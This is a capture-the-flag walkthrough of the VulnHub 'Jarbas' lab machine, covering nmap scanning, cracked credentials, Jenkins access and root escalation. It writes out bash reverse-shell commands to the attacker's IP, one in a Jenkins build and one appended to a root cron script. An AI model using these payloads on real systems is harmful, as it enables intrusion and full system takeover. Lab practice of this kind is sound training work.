Target Setup

Download the target machine image from:

https://download.vulnhub.com/jarbas/Jarbas.zip

Configure the virtual machine in NAT mode to reside on the same subnet as the attacking system.

Attacker IP (Kali): 192.168.88.133

Information Gathering

Host Discovery

Perform subnet scanning to identify active hosts:

sudo nmap -sn 192.168.88.0/24

Target host identified at 192.168.88.131

Port Scanning

Execute multiple scanning techniques:

# TCP rapid scan
sudo nmap -sT --min-rate=10000 -p- 192.168.88.131 -oA scans/tcp-fast

# UDP common ports
sudo nmap -sU --top-ports 20 192.168.88.131 -oA scans/udp-scan

# Detailed TCP analysis
sudo nmap -sT -sV -sC -O -p21,22,80,3306,8080 192.168.88.131 -oA scans/tcp-detailed

# Vulnerability assessment
sudo nmap --script=vuln -p21,22,80,3306,8080 192.168.88.131 -oA scans/vuln-check

Vulnerability Analysis

MySQL Assessment

Attempted unauthorized access to MySQL service:

mysql -h 192.168.88.131 -u root

No successful connection established.

Web Application Analysis

Discovered default web page. Conducted directory enumeration:

dirsearch -u http://192.168.88.131

Found /access.html containing encrypted credentials. Identified as MD5 hashes and successfully decrypted:

• tiago:italia99
• trindade:marianna
• eder:vipsu

Port 8080 hosted Jenkins CMS. Attempted authentication with discovered credentials.

User 'eder' successfully authenticated to Jenkins interface.

Exploitation

Created new Jenkins project with command execution capability:

# Reverse shell payload
/bin/bash -i >& /dev/tcp/192.168.88.133/4444 0>&1

Executed build to obtain initial shell access with limited Jenkins user privileges.

Privilege Escalation

Examined scheduled tasks:

cat /etc/crontab

Discovered root-executed script running every 5 minutes:

/etc/script/CleaningScript.sh

Appended reverse shell payload to writable script file:

echo "/bin/bash -i >& /dev/tcp/192.168.88.133/4443 0>&1" >> /etc/script/CleaningScript.sh

Established listener and obtained root shell upon script execution.